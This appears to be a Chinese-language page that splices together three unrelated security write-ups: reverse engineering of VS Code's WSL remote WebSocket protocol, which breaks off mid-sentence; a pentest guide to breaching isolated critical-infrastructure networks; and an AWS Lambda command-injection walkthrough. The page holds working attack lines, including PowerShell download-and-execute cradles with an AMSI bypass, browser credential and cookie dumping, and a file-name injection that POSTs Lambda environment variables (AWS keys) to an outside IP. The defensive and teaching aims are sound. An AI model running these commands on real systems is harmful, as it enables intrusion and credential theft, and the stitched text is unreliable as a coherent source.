1.運行進程監控器;

2.在WSL中運行code .

3.Tools Process Tree;

4.我運行代碼(例如,Windows Terminal.exe)的終端示例中運行Add process and children to Include filte。

5.png

Procmon 的進程樹

經過一番挖掘,我發現了VSCODE_WSL_DEBUG_INFO 環境變量。我只是在WSL 中將export VSCODE_WSL_DEBUG_INFO=true 添加到~/.profile 。運行服務器後我們會得到額外的信息。

6.png

VSCODE_WSL_DEBUG_INFO=true

輸出被清理。

7.png

檢查命令行參數。

8.png

可以看到出現了WebSocket詞彙。

運行Wireshark 並捕獲loopback接口上的流量。然後我再次在WSL 中運行代碼。這次可以看到兩個WebSocket 握手。

9.png

在Wireshark 中捕獲的WebSocket 連接

該運行中的服務器端口是63574,我們也可以從日誌中看到。在Windows 上的代碼客戶端中打開命令面板(ctrl+shift+p) 並運行Remote-WSL: Show Log。

10.png

遠程WSL:顯示日誌

最後一行有端口:在http://127.0.0.1:63574/version 上打開本地瀏覽器。我們還可以看到從Windows 上的Code 客戶端到服務器的兩個單獨的WebSocket 連接。

11.png

為什麼要監聽所有接口?服務器是位於/src/vs/server/remoteExtensionHostAgentServer.ts#L207 的RemoteExtensionHostAgentServer 的一個示例。

它被createServer 在同一個文件中使用,我們可以使用Code (lol) 找到它的引用並追踪到remoteExtensionHostAgent.ts(同一目錄)。

12.png

可以根據註釋查看main.js 內部。

13.png

打開文件,看到服務器可以從傳遞給main.js的參數中獲得主機和端口。

14.png

main.js 被server.sh 調用:

15.png

沒有IP 地址傳遞給腳本,我認為這就是為什麼服務器監控所有有趣的事情。 port=0 可能告訴服務器使用臨時端口,此信息來自同一目錄中的wslServer.sh。

本地WebSocket 服務器每次看到本地WebSocket 服務器時,都應該檢查誰可以連接到它。

WebSocket 連接不受同源策略約束,瀏覽器中的JavaScript 可以連接到本地服務器。

WebSockets 從握手開始,在跨源資源共享或CORS 的上下文中它始終是一個“簡單”的GET 請求,因此瀏覽器不需要預先請求就可以發送它。

測試本地WebSocket 服務器可以快速創建一個嘗試連接到特定端口上的本地WebSocket服務器的測試頁面,將它託管在某個遠程位置(例如,S3 存儲桶)並在計算機上打開它。如果連接成功,就可以繼續操作了。

我還檢查了Burp,在Burp Repeater 中創建了WebSocket 握手。將Origin 標頭修改為https://example.net。如果響應具有HTTP/1.1 101 交換協議,那麼就可以繼續了。

16.png

在Burp 中測試

注意,這只對本地主機服務器有影響。這裡的服務器也對外公開,攻擊者不受瀏覽器約束。它們可以直接連接到服務器並提供任何Origin 標頭。

逆向工程協議接下來是查看Wireshark 中的流量,右鍵點擊之前的WebSocket握手GET請求,然後選擇Follow TCP Stream。我們將看到一個帶有一些可讀文本的屏幕。關閉它,只會看到這個進程的數據包,這允許我們只關注這個進程。

你可能會問為什麼我關閉了僅包含消息內容的彈出窗口,因為沒有用。根據RFC6455,從客戶端到服務器的消息必須被屏蔽。這意味著它們與一個4 字節的密鑰(也隨消息一起提供)進行了異或運算。 Wireshark 在選擇時取消屏蔽每個數據包,但有效載荷在初始進程彈出窗口中顯示為屏蔽。所以我們將看到純文本的服務器消息,而客戶端消息被屏蔽並出現亂碼。如果你點擊單個消息,Wireshark 就會顯示有效載荷。

我花了幾天時間對協議進行逆向工程。後來,我意識到只能在/src/vs/base/parts/ipc/common/ipc.net.ts 中看到協議的源代碼。

17.png

協議握手來自服務器的第一條消息是KeepAlive 消息。

18.png

在協議定義中,我們可以看到不同的消息類型。

19.png

在/src/vs/platform/remote/common/remoteAgentConnection.ts 中,它在代碼的其他部分被稱為OKMessage 和heartbeat。

20.png

客戶端在/src/vs/platform/remote/common/remoteAgentConnection.ts的connectToRemoteExtensionHostAgent中處理此問題。客戶端(Windows上的代碼)發送這個包,它是一個KeepAlive和一個單獨的認證消息。

21.png

最初,我認為長度字段是12 個字節而不是4 個字節,因為其餘的字節總是空的。然後我意識到只有常規消息使用消息ID 和ACK 字段,而且我只看到了不規則的握手消息。

22.png

在修復之前,沒有勾選此選項。

23.png

注意:在2021-11-09 更新之前(commit b3318bc0524af3d74034b8bb8a64df0ccf35549a)客戶端沒有發送數據。但是,使用此提交,我們仍然可以在沒有此密鑰的情況下發送消息並且它會起作用。這是我們給服務器簽名的內容,以檢查連接到正確的服務器。

服務器響應一個簽名請求。

24.png

另一個JSON 對象:

25.png

服務器已經簽名了我們在前一條消息中發送的數據,並用它自己的數據請求進行了響應。

客戶端驗證簽名的數據,以檢查它是否是受支持的服務器。當創建我們的客戶端時,可以簡單地跳過。

26.png

DRM使用options.signService.validate 方法,然後就會得到/src/vs/platform/sign/node/signService.ts。

27.png

vsda 是一個用C++ 編寫的Node 原生插件,將Node 原生插件視為共享庫或DLL。該插件位於https://github.com/microsoft/vsda 的私有存儲庫中,根據https://libraries.io/npm/vsda/的說法,直到2019年左右,它都是一個NPM包。

它與VS Code 客戶端和服務器捆綁在一起:

Windows系統:

C:\Program Files\Microsoft VS Code\resources\app\node_modules.asar.unpacked\vsda\build\Release\vsda.node

服務器(WSL):~/.vscode-server/bin/{commit}/node_modules/vsda/build/Release/vsda.node。

我找到了https://github.com/kieferrm/vsda-example,並通過一些實驗找到瞭如何使用它創建和簽名消息。

1.用msg1=validator.createNewMessage('1234')創建一個新消息,輸入至少4個字符。

2.使用signed1=signer.sign(msg1)進行簽名。

3.使用validator.validate(signed1) 對其進行驗證,響應為“ok”。

需要注意的是,如果你創建了新消息,則無法再驗證舊消息。在源代碼中,每條消息都有自己的驗證器。

28.png

Linux 版本有符號,大小約為40 KB。把它放到IDA/Ghidra 中,應該就可以開始了。

我花了一些時間,想出了這個偽代碼。可能不太正確,但可以讓你大致了解此簽名的工作原理。

1.用當前時間+ 2*(msg[0]) 初始化srand,它只會創建0 到9(含)之間的隨機數;

2.從許可證數組中附加兩個隨機字符;

3.從salt 數組中附加一個隨機字符;

4.SHA256;

5.Base64;

6.

7.Profit。

29.png

僅從許可證數組中選擇前10 個位置的字符,它總是rand() % 10 ,但salt 數組翻了一番。

許可證數組的字符串如下所示:

30.png

salt 數組的前32 個字節(查找Handshake:CHandshakeImpl:s_saltArray)是:

31.png

我從來沒有真正檢查過我的分析是否正確,不過這無關緊要,知道如何使用插件簽名消息,這就足夠了。

接下來,客戶端需要簽名來自服務器的數據並將其發送回來,以顯示它是一個“合法”的代碼客戶端。

32.png

服務器響應如下:

33.png

客戶端發送瞭如下消息:

34.png

提交應該匹配服務器的提交哈希。這不是秘密。這可能是最後一個穩定版本提交(或最後幾個之一)。這只是檢查客戶端和服務器是否在同一版本上。它也可以在http://localhost:{port}/version 上找到,你的瀏覽器JavaScript 可能無法看到它,但外部客戶端沒有這樣的限制。

signedData是對我們在前面消息中從服務器獲得的數據進行簽名的結果。

Args是此消息中最重要的部分,它可以告訴服務器在特定端口上啟動一個Node Inspector 示例。

break: 啟動Inspector 示例後中斷。

端口:檢查器示例的端口。

Env:傳遞給檢查器示例進程的環境變量及其值的列表。

Node Inspector 示例可用於調試Node 應用程序。如果攻擊者可以連接到你計算機上的此類示例,那麼攻擊就成功了。 2019 年,Tavis 發現VS Code 默認啟用了遠程調試器。

整個設置旨在允許Windows 上的代碼客戶端在WSL、容器或GitHub

這篇文章是關於常見的錯誤配置和攻擊場景,這些錯誤配置和攻擊場景使攻擊者能夠訪問具有關鍵系統或敏感數據的獨立網絡。

由於種種原因,德國在過去幾年裡對不同行業的公司實施了許多新的法規和法律,以提高他們的網絡安全。規定了持有關鍵基礎設施的所謂KRITIS 公司和組織必須要保持網絡安全。如果這些公司/組織成為具有破壞性動機的高級持續性威脅(APT) 的目標,那麼在最壞的情況下,這可能會對對國家和人民造成嚴重影響。例如,KRITIS的公司已經執行ISO 27001認證,這是信息安全管理系統的網絡安全最佳實踐規範。 KRITIS包含的一些部門如下:

能源部門;

水務部門;

食品行業;

金融和保險;

其他。

1.jpg

由於德國新出台的法律和認證要求,包括KRITIS的公司進行了越來越多的滲透測試和其他安全評估。

可能的攻擊者入口眾所周知的攻擊媒介不僅適用於敏感的獨立網絡,而且適用於所有的IT網絡和組織:

通過互聯網訪問系統的漏洞或錯誤配置,在大多數情況下,這將是缺少多重身份驗證(MFA) 以及弱密碼、Web 應用程序中的漏洞或過時的系統/服務。

缺乏員工意識:例如網絡釣魚或處理任何不良/惡意設備(USB,電纜等)可能導致網絡的初始訪問。在這些場景中,攻擊者大多數時候會訪問Office-IT網絡,而不是進入獨立的網絡。

物理位置安全:如果一個具有物理訪問權限的攻擊者可以直接進入大樓並插入一個非法設備,那麼最孤立的網絡是沒有意義的。根據網絡和環境的不同,也可能有許多小的獨立位置,它們被允許連接到主控製網絡。

供應鏈攻擊:製造商或服務提供商受到威脅,例如,可以通過合法更新交付惡意代碼(類似2020 年的Solarwinds-Hack)。

水坑攻擊:攻擊者破壞目標公司員工經常訪問的網絡服務器。瀏覽器和客戶端因此受到惡意攻擊者託管代碼的威脅,或者可能只是憑證被網絡釣魚攻擊。

前三個攻擊向量可以由滲透測試公司檢查。第四個和第五個不能被審計,因為它需要涉及第三方公司/組織,這在未經他們同意的情況下是非法的。

因此,上述描述涵蓋了前三個攻擊向量:

面向互聯網的關鍵系統漏洞;

通過C2-Stager獲取證書或初始訪問權限的網絡釣魚;

物理位置安全檢查;

橫向移動嘗試從Office-IT進入獨立的網絡;

對獨立網絡本身進行滲透測試;

如上所述,大多數情況下,攻擊者只能通過利用漏洞或忽略防範來訪問Office-IT網絡。這一領域中可能出現的錯誤配置/漏洞將在本文中討論。

雙宿主主機雙主主機是指不僅有一個網絡接口,而且在不同網絡中有多個網絡接口的系統。假設一個運營網絡管理員想要從他的Office-IT客戶端訪問他的控制台。他可以修補一個直接連接到運營網絡,並通過第二個網絡接口將他的客戶端連接到它:

2.JPG

例如,還可以有一個Web 服務器,用於收集和可視化來自遠程網絡的數據:

3.JPG

這些系統因此不受防火牆的保護,防火牆將網絡彼此隔開。

通過雙宿主主機訪問遠程網絡非常簡單,如果攻擊者已經通過最常見的本地漏洞和錯誤配置在Office-IT 域中獲得了更高的權限,他只需pwn 管理員客戶端系統,然後通過例如socks 代理或端口轉發進入遠程網絡。

但是我們如何找到這些雙宿主系統呢?如果你面對的是Windows環境,至少有兩種協議允許我們在沒有身份驗證的情況下枚舉遠程網絡:

NetBIOS;

通過IOXIDResolver 接口進行RPC;

在這兩種情況下,我們根本不需要任何用戶進行枚舉。如果在雙宿主主機上啟用了NetBIOS,我們可以使用工具nextnet 枚舉它的第二個網絡接口。如果你看一下README,用法很簡單:

$nextnet192.168.100.0/24

{'host':'192.168.100.22','port':'137','proto':'udp','probe':'netbios','name':'Horst-PC','nets':['192.168.100.22','10.10.15.22'],'info':{'domain':'office.local','hwaddr':'15:ee:a8:e4:10:a0'}}從輸出信息中可以看到,第二個網絡接口的IP 地址為10.10.15.22。所以我們找到了一個雙宿主主機。這種掃描可能導致誤報,因為任何系統都可以有VPN網絡接口、虛擬機接口等。 Airbus CyberSecurity 在2020 年發布了一篇關於該主題的oxid resolver 博客文章。他們還提供了一個PoC 工具,用於通過IOXIDResolver 接口查找遠程網絡。後來,Vincent LE TOUX 將這種枚舉技術集成到了Pingcastle 中,這使得整個域中所有系統的網絡接口的枚舉變得非常容易。只需啟動它,切換到掃描儀菜單並選擇a-oxidbindings,然後選擇1-all:

5.JPG

我自己也竊取了這段代碼,使其作為獨立的二進製文件工作,SharpOxidResolver準備用於C2。

如果沒有參數,它將在當前域中搜索計算機並獲取所有計算機的綁定。

你也可以通過一個主機名或ip地址來掃描這個特定的目標:

SharpOxidResolver.exe192.168.100.22如果你的目標雙宿主主機未加入域,則必須在服務級別或Web 應用程序級別搜索漏洞以對其進行破壞。你還可以枚舉有關(可能使用的)遠程域的信息。

我剛剛遇到了另一種具有相應工具的技術,可用於查找雙宿主主機,使用cornershot 。

暴露服務中的漏洞在網絡獨立運行中,我們經常向客戶詢問有意通過防火牆允許的目標網絡服務。在極少數情況下,會使用任意塊規則。獨立網絡中最常用的服務如下:

SMB 或SAMBA 共享(端口445):多次用於網絡之間的數據交換;

HTTP/HTTPS Webserver (80,443) :用於數據可視化或狀態監控的Web 應用程序;

MySQL (3306) 或MSSQL (1433) 數據庫:數據交換;

8.JPG

如果你發現端口445 具有網絡共享,則需要執行通常的枚舉或利用步驟。此處的關鍵字將是通過空會話、密碼噴灑或僅分析共享中的數據(如果可訪問)來擺脫循環。在最壞的情況下,攻擊者可以通過SMB 服務創建橫向移動來破壞具有高權限用戶的系統。

查找Web 應用程序漏洞絕對是一個太大且超出本文範圍的主題。但是我們在過去發現了關鍵的Web 應用程序漏洞,這使我們能夠破壞Web 服務器並通過這些漏洞進入目標網絡。

終端服務器或直接訪問我們在不同環境中看到的另一件事是專用終端服務器用作跳轉主機來管理遠程網絡。如果客戶端告訴我,終端服務器正在使用中,我幾乎可以肯定,獲得訪問權限只是時間問題。我們看到的終端服務器實現的常見錯誤如下:

1.未使用多因素身份驗證。 RDP 登錄憑據保存在客戶端系統上。如果客戶端受到威脅,攻擊者可以通過憑據轉儲或鍵盤記錄訪問終端服務器。

2.Internet DMZ 網絡中的終端服務器,想像一個可訪問網絡的系統受到威脅。如果DMZ 系統本身沒有完全相互隔離,攻擊者將可以通過受感染的主機訪問終端服務器服務,例如RDP/SMB/WMI 等。

一些客戶告訴我,他們的終端服務器激活了某種Kiosk 模式。而且我總是告訴他們:¯\_(ツ)_/¯。

其他人根本不使用任何終端服務器,而是直接允許遠程桌面協議、VNC 或其他身份驗證協議。如果你直接允許任何身份驗證協議,攻擊者獲取相應憑據只是時間問題。

共享基礎架構組件在某些項目中,我們還看到了使用Office-IT 共享基礎架構組件的獨立網絡。在這些案例中,我們對Office-IT 的攻擊導致了單獨的網絡攻擊:

1.共享WSUS 服務器:可在此處使用WSUSpendu 等工具向獨立網絡中的系統提供惡意虛假更新。

2.Active Directory 信任:這個利用路徑應該是直截了當的

3.共享DNS 服務器:破壞DNS 服務器的攻擊者可以進入獨立網絡系統的中間人位置(如果他們被允許連接到遠程網絡或Internet)。這在最壞的情況下也可能導致系統攻擊。

4.共享防病毒服務器:根據使用的防病毒軟件,攻擊者可以通過中央服務器破壞連接的客戶端或服務器。 PoC工具的一個例子是在本例中McAfee的BADministration。

5.共享軟件清單服務器:如果你使用第三方軟件進行更新和軟件安裝,中央服務器的危害也可能被濫用以在獨立網絡中的主機上安裝惡意軟件包。

9.JPG

因此,你應該始終向客戶端請求共享的基礎設施組件。手動找到這些可能需要更多的努力,而不僅僅是問這個問題。通常情況下,他們想知道他們的弱點,而你想找到他們。對雙方都有利。如果你有一個黑箱方法,它是關於檢查所有這些可能的組件和它們連接的設備/客戶端/服務器。

防火牆被破壞如果你已經在Office-IT 域中獲得了高權限,則可以進行一些枚舉以查找系統管理員。根據環境,尤其是在較小的環境中,管理員很可能是Domain Admins 組的成員,並且擁有個性化的帳戶。這是一個不好的做法,但讓我們很快找到它們。

netgroup'DomainAdmins'/domain如果使用了跳轉服務器,你可以通過過濾Bloodhound中的大多數管理會話系統來找到它。否則,系統可能在它的描述字段,甚至在主機名中有一個跳轉或管理員。我將只展示AD-Module的枚舉方式,它可以通過以下方式導入:

iex(new-objectnet.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/ADModuleImport.ps1')or

Import-ModuleActiveDirectoryPowershell腳本基本上是通過Assembly:load解碼和導入的AD-Module DLL base64,所以它可以在任何客戶端或服務器上工作,而無需額外安裝。然後你可以用以下命令查詢計算機的描述字段:

Get-ADComputer-Filter{Description-Like'*admin*'}-PropertiesDescription|SelectDescription或者

Get-ADComputer-Filter{Name-Like'*admin*'}|SelectName防火牆也可能有與Active Directory相關的組,因為防火牆管理員有一個單獨的電子郵件收件箱或文檔的網絡共享。

Get-AdGroup -Filter {name-like '*firewall*'-and name-like '*sophos*'-and name-like '*anyothervendor*'}

你還可以在網絡共享、電子郵件、Intranet/Sharepoint等中找到有關管理帳戶或跳轉主機的信,很多枚舉方法也和往常一樣。

在找到正確的組或用戶後,你可以通過任何橫向移動技術(如SMB/WMI/WinRM等)破壞系統或跳轉主機。我個人經常通過查找保存在瀏覽器中的密碼成功獲得防火牆證書。任何瀏覽器都有工具,在寫這篇文章的時候最常用的瀏覽器是Chrome,所以我要展示我認為最好的工具——SharpChromium:

AMSIBypassiex(new-objectnet.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1')Invoke-SharpChromium-Command'logins'如果用戶沒有保存憑據但登錄到防火牆管理頁面,你還可以通過以下方式轉儲cookie:

Invoke-SharpChromium-Command'cookies'並使用擴展Cookie 編輯器將它們導入你自己的瀏覽器。這也授予身份驗證。要轉儲用戶憑據,你通常需要在用戶上下文中執行該工具。或者,你可以使用SYSTEM 的主密鑰解密所有DPAPI 密鑰。這需要一個SYSTEM shell,例如LaZagne 就是這樣做的。要在用戶上下文中獲取shell,你可以使用令牌模擬或將C2-Stager shellcode 注入目標用戶的進程。我只是專門為此目的構建了一個自定義的TokenVator 工具,它將在大約一個月內公開發布。 SharpImpersonation

如果使用單點登錄進行身份驗證,你也可以只轉儲用戶憑據並使用他的域帳戶登錄。任何其他遠程系統管理軟件也可以保存所需的憑據,因此請查看MobaXterm、MremoteNG、WinSCP 等。如果你有足夠的時間,鍵盤記錄用戶遲早也會給你憑據。

獲得防火牆憑據後,可以通過添加自己的訪問規則來訪問獨立的網絡。

從Office IT(也就是域管理)進行枚舉並不是最終目標

一些客戶,他們不願意給我們任何關於網絡或基礎設施的信息。因此,我們不得不堅持“黑匣子”的方法,自己尋找所有必要的信息。因此,在通過Common vulnerability提升特權後,我們必須搜索關於獨立網絡的信息。

緩解措施最高的保護將來自物理隔離,而不是使用防火牆。這將消除本文中除了實際站點安全和員工意識之外的所有風險。

如果不需要,請禁用敏感網絡的互聯網訪問和遠程網絡訪問。如果完全隔離,許多風險就會自動消失。

如果不需要,不要使用雙宿主主機。如果你沒有別的選擇,那就使用主機防火牆來阻止來自不需要訪問的系統的任何流量。針對少數需要訪問的設備的白名單應該是最合適的。攻擊者從連接的系統竊取憑證的風險仍然存在。

最好的保護措施顯然是完全不開放端口。

不要重複使用來自其他(未受保護的)網絡的任何基礎設施組件,這可能導致敏感網絡受到攻擊。

在客戶端或跳轉主機上的任何軟件中保存憑據都不是一個好主意,使用MFA的密碼管理器代替。還應該對跳轉主機進行加固,使攻擊者更難訪問它們。

使用來自不同供應商的兩個防火牆。我們分析了環境,其中客戶IT團隊只管理第一個,而第二個由第三方供應商管理。這幾乎完全消除了通過利用或提取憑證來破壞防火牆的風險。

在本文中,我們將從黑盒測試和白盒測試的角度為大家解釋一個真實的攻擊場景:攻擊者是如何使用易受攻擊的AWS Lambda函數獲得對雲環境的初始訪問權限的。最後,我們將為大家介紹針對這種攻擊手法的最佳防禦實踐。

眼下,無服務器技術正在成為業務應用程序的主流,有了它,用戶無需管理底層基礎設施即可實現可擴展性、性能和成本效益。並且,這些工作負載可以輕鬆擴展到每秒數千個並發請求。實際上,雲環境中使用最多的無服務器服務之一,就是AWS Lambda服務。

在考察應用程序的時候,一個基本要素就是安全性。比如,代碼中的錯誤或缺乏用戶輸入驗證不僅可能會導致功能受損,而且還可能導致雲帳戶被入侵。

關於AWS Lambda函數AWS Lambda是一種事件驅動的無服務器計算服務,允許運行用不同編程語言編寫的代碼,從而實現基於雲環境的自動化操作。

這種方法的主要優勢之一是,Lambda是在由AWS直接管理的高可用計算基礎結構中運行我們的代碼的。也就是說,與底層基礎設施相關的所有管理活動,包括服務器和操作系統維護、自動伸縮、修補和日誌記錄等,都是由雲供應商替我們完成的。

用戶只需在這些服務上運行實現自己所需功能的代碼就可以了。

安全共擔之痛對於雲環境的安全來說,雖然本質上是由雲供應商來管理的,但仍然允許用戶進行相應的配置,所以,安全問題和風險實際上與參與雙方共擔的。

1.png

由於用戶無法控制特定Lambda函數背後的基礎設施,因此,底層基礎設施的安全風險實際上是由雲供應商直接管理的。

通過AWS IAM,用戶可以限制lambda函數及其組件的訪問權限和允許的操作。如果對IAM角色或Lambda函數使用的對象的權限配置出錯,可能會造成嚴重的後果,導致雲環境被攻擊者拿下。更重要的是,在Lambda函數中實現的代碼是由用戶控制的,正如我們在後門所看到的,如果代碼中存在安全漏洞,該函數則可能被攻擊者用來訪問云賬戶並進行橫向移動。

攻擊場景我們將使用兩種不同的測試方法來考察兩個攻擊場景:黑盒測試和白盒測試,這是滲透測試中用來評估特定基礎設施、應用程序或功能的安全態勢的兩種主要測試方法。

從不同的角度來看Lambda函數將有助於更深入、更全面地了解我們函數的安全態勢,並幫助我們更好地理解可能的攻擊和相關風險。

黑盒測試與白盒測試進行黑盒測試時,攻擊方並不具備環境本身和軟件系統內部原理的任何信息。在這種測試方法中,攻擊者需要對特定功能的邏輯背後可能隱藏的內容做出假設,並不斷測試這些假設,以找到切入點。對於我們的場景,攻擊者既沒有云環境的任何訪問權限,也沒有任何關於雲環境或帳戶中可用的功能和角色的內部信息。

在白盒測試中,由於攻擊者已經獲得了內部信息,因此,他們可以在攻擊過程中利用這些信息。在進行這種測試時,我們假設攻擊者擁有查找可能的漏洞和安全問題所需的所有信息。

因此,白盒測試被認為是最全面的測試方式。在我們的場景中,攻擊者在雲環境中具有隻讀的初始訪問權限,他們可以使用這些信息來評估已經部署的東西,以更好地鎖定攻擊目標。

#1黑盒測試場景

1.png

在這個攻擊場景中,攻擊者發現一個S3桶因為配置有誤而向公眾開放,其中含有公司的各種文件。

攻擊者能夠將文件上傳到存儲桶中,並在上傳後檢查文件配置。儘管攻擊者對Lambda中實現的代碼一無所知,但仍可以通過Lambda函數來獲得每個上傳文件的標籤。

我們可以使用AWS CLI來列出prod-file-bucket-eu這個桶內的所有對象。

awss3lsprod-file-bucket-eu 1.png

我們通過上傳文件獲得信息的一種方式就是檢查標籤,看看是否可以找到一些有用的信息。使用get-object-tagging,我們可以看到分配給該文件的標籤如下所示:

awss3apiget-object-tagging--bucketprod-file-bucket-eu--keyconfig161.zip 1.png

這些標籤肯定是自定義的,並在將文件上傳到存儲桶時動態添加。據推測,應該存在一種函數,用於添加與文件大小和路徑相關的標籤。

使用curl或awscli,我們可以嘗試上傳一個zip文件,看看標籤是否會自動添加到我們的文件中。

awss3cpconfig.zips3://prod-file-bucket-eu/

curl-XPUT-Tconfig.zip\

-H'Host:prod-file-bucket-eu.s3.amazonaws.com'\

-H'Date:Thu,02Dec202115:47:04+0100'\

-H'Content-Type:${contentType}'\

http://prod-file-bucket-eu.s3.amazonaws.com/config.zip一旦文件上傳,我們可以檢查文件標籤,結果表明標籤已經自動添加。

awss3apiget-object-tagging--bucketprod-file-bucket-eu--keyconfig161.zip 1.png

所以,我們可以非常確定的一點是:這些值背後存在一個AWS Lambda函數。當一個新對像在存儲桶中創建時,該函數似乎就會被觸發。當然,Path和Size這兩個標籤,似乎是為每個文件動態計算的,可能是通過執行OS命令檢索到的信息。

我們可以假設文件名用於在操作系統中查找文件,併計算文件大小。換句話說,文件名可能是用戶輸入,在OS命令中使用它來檢索要放入標籤中的信息。如果缺少用戶輸入驗證,攻擊者就可以通過向計算機提交精心構造的輸入來執行任意命令。

在這種情況下,我們可以嘗試在文件名中註入其他命令來實現遠程代碼執行。使用分號連接命令是將任意命令附加到用戶輸入中的一種常見方法,這樣,如果用戶輸入沒有得到很好的過濾,代碼就可能會執行這些命令。

讓我們嘗試追加命令curl來打開與另一個EC2的連接,為此,我們可以使用POST方法發送測試消息“testrceCurl”。

awss3cpconfig.zip's3://prod-file-bucket-eu/screen;curl-XPOST-d'testRCECurl'3.80.92.111:443;'從下面的屏幕中,我們可以看到命令已正確執行,並且我們收到了連接和POST消息。

1.png

通過這種方式,我們證明了用戶輸入根本沒有經過驗證,因此,我們可以在AWS Lambda OS上成功地執行任意命令。我們可以利用這個安全漏洞直接訪問云環境。

提取AWS憑據的方法之一,就是通過env變量。在這方面,我們已經證明,我們可以回連攻擊者的機器,並將env變量的內容髮送到POST消息中,以從中提取信息。

awss3cpconfig.zip's3://prod-file-bucket-eu/screen;curl-XPOST-d'`env`'3.80.92.111:443;zip' 1.png

使用curl命令,我們成功地獲取了雲憑據,並且可以使用這些憑據登錄到雲帳戶。這樣,我們就可以導入AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY和AWS_SESSION_TOKEN,從get-caller-identity輸出中可以看到,我們登錄成功了。

awsstsget-caller-identity

{

'UserId':'AROA2PVZZYWS7MCERGTMS:corpFuncEasy',

'Account':'AccountID',

'Arn':'arn:aws:sts:AccountID:assumed-role/corpFuncEasy/corpFuncEasy'

}一旦進入,攻擊者就可以啟動枚舉過程來評估獲得的特權,並查看是否存在進一步提升雲帳戶特權的路徑。

#1白盒測試場景

1.png

下面,讓我們對前面提出的相同攻擊場景——攻擊者發現了配置錯誤的S3存儲桶——進行白盒測試。在這種情況下,攻擊者可以通過網絡釣魚竊取憑據來訪問云環境,而受攻擊的用戶帳戶權限為:只讀權限。

由於具有隻讀訪問權限,攻擊者可以合併從lambda函數中實現的代碼中獲得的信息,以更好地發動針對性攻擊。

讓我們從檢查獲得的憑據是否對登錄雲帳戶有效開始入手。

awsstsget-caller-identity

{

'UserId':'AIDA2PVZZYWS3MXZKDH66',

'Account':'AccountID',

'Arn':'arn:aws:iam:AccountID:user/operator'

} 1.png

一旦登錄,我們就可以開始評估相關用戶或組的特權。在本例中,我們可以看到這裡附加了以下策略。

awsiamlist-attached-user-policies--user-nameoperator 1.png

我們只有隻讀權限,所以,接下來可以收集已經部署到賬戶中的信息,特別是關注配置錯誤的S3桶。

就像我們在黑盒測試場景中看到的那樣,我們可以合理地假設,發現的開放型存儲桶有一個lambda函數。因此,如果找到有關lambda函數的額外信息,將有助於更好地發動攻擊。

通過命令list-functions,我們可以看到賬戶中可用的lambda函數。就這裡來說,我們找到了corpFuncEasy函數及其相關信息,特別是該函數所使用的角色。

awslambdalist-functions 1.png

通過get-function,我們可以深入研究之前找到的lambda函數。在這裡,我們可以找到一些基本的信息,如下載函數代碼的鏈接。

wslambdaget-function--function-namecorpFuncEasy

{

'Configuration':{

'FunctionName':'corpFuncEasy',

'FunctionArn':'arn:aws:lambda:us-east-1:AccountID:function:corpFuncEasy',

.

},

'Code':{

'RepositoryType':'S3',

'Location':'https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/AccountID/corpFuncEasy-9c1924b0-501a-.'

},

'Tags':{

'lambda-console:blueprint':'s3-get-object-python'

}

}通過檢查代碼,我們可以更好地評估函數的安全性,並查看是否應用了安全最佳實踐。

1.png

在這段代碼中,我們可以看到上傳的文件被放入/tmp/folder中,文件路徑直接用於subprocess命令並執行。

我們看到,這裡並沒有對文件名應用任何輸入驗證,也就談不上安全過濾了。現在,我們更清楚前面提到的攻擊為什麼能成功了。

在這裡,使用的文件名為“screen.zip;curl -X POST -d “testRCECurl” 3.80.92.111:443”,相應的subprocess命令如下所示:

'stat-c%sscreen.zip;curl-XPOST-d'testRCECurl'3.80.92.111:443'正如我們所看到的,使用分號字符,我們可以在stat命令後面追加其他要執行的命令。正如我們前面提到的,執行curl命令後,字符串將發送到攻擊系統的443端口。

如何防禦這種攻擊我們已經從黑盒測試和白盒測試的角度考察了相應的攻擊場景,但是我們如何進行防禦呢?在考察的場景中,我們涵蓋了不同的AWS組件,如S3桶和AWS lambda函數,但是某些安全因素被忽略了。

為了成功地緩解這種情況,我們可以在不同的級別和不同的特性上採取行動。特別是,我們可以:

1、 禁用S3桶的公共訪問權限,這樣它就只能從內部訪問,並且只能被通過了雲賬戶認證的用戶訪問。

2、 檢查lambda函數中使用的代碼,以確保裡面沒有任何安全漏洞,所有的用戶輸入都按照安全編寫代碼的安全準則進行了正確處理。

3、 在應用於雲特性的所有AWS IAM角色中應用最小特權原則,以避免不必要的操作或在帳戶內出現特權提昇路徑。

下面,讓我們來看看上面提到的所有要點,詳細了解應該如何部署這些緩解措施。

禁用S3桶的公共訪問權限S3桶是AWS中用作存儲的關鍵組件之一;S3桶經常被那些入侵雲賬戶的攻擊者所利用。

盡可能地保持S3桶的安全,應用所有可用的安全設置,避免對我們的數據或文件進行不必要的訪問,這一點至關重要。

就本例來說,存儲桶是公開的,所有未經授權的用戶都能夠對它進行讀取和寫入操作。為了避免這種情況,我們需要確保桶是可用的,私下里應用以下安全設置來限制訪問。

1.png

此外,通過對存儲桶施加ACL,可以定義允許對它執行哪些操作,以及可以訪問桶中的哪些對象;對於其他的操作和對象,則一律拒絕。

{

'Version':'2012-10-17',

'Statement':[

{

'Sid':'PublicReadGetObject',

'Effect':'Allow',

'Principal':'*',

'Action':[

's3:GetObject',

's3:PutObject'

],

'Resource':'arn:aws:s3:3bucket********/www/html/word/*'

},

{

'Sid':'PublicReadListObject',

'Effect':'Allow',

'Principal':'*',

'Action':'s3:List*',

'Resource':'arn:aws:s3:s3bucket********/*'

}

]

}審查lambda函數內部使用的代碼與任何其他Web應用程序一樣,保證代碼是按照安全最佳實踐來實現的,是避免安全問題的根本所在。當然,Lambda函數中的代碼也不例外,我們需要確保代碼是安全的、無懈可擊的。

就本案例來說,請看下面的代碼片段:

file_count_KB=subprocess.check_output(

'stat-c%s'+file_download_path,

shell=True,

stderr=subprocess.STDOUT

).decode().rstrip()其中,變量file_download_path保存有完整的文件路徑,包括文件名。該路徑直接連接到命令行以執行命令。但是,文件名是由用戶決定和控制的,因此,在將路徑附加到命令中之前,我們需要根據允許的字符進行適當的用戶輸入驗證和過濾。

為了進行正確、有效的驗證,我們需要清楚地知道哪些字符是允許的,哪些字符將包含在字符串中,並應用輸入驗證的最佳實踐。

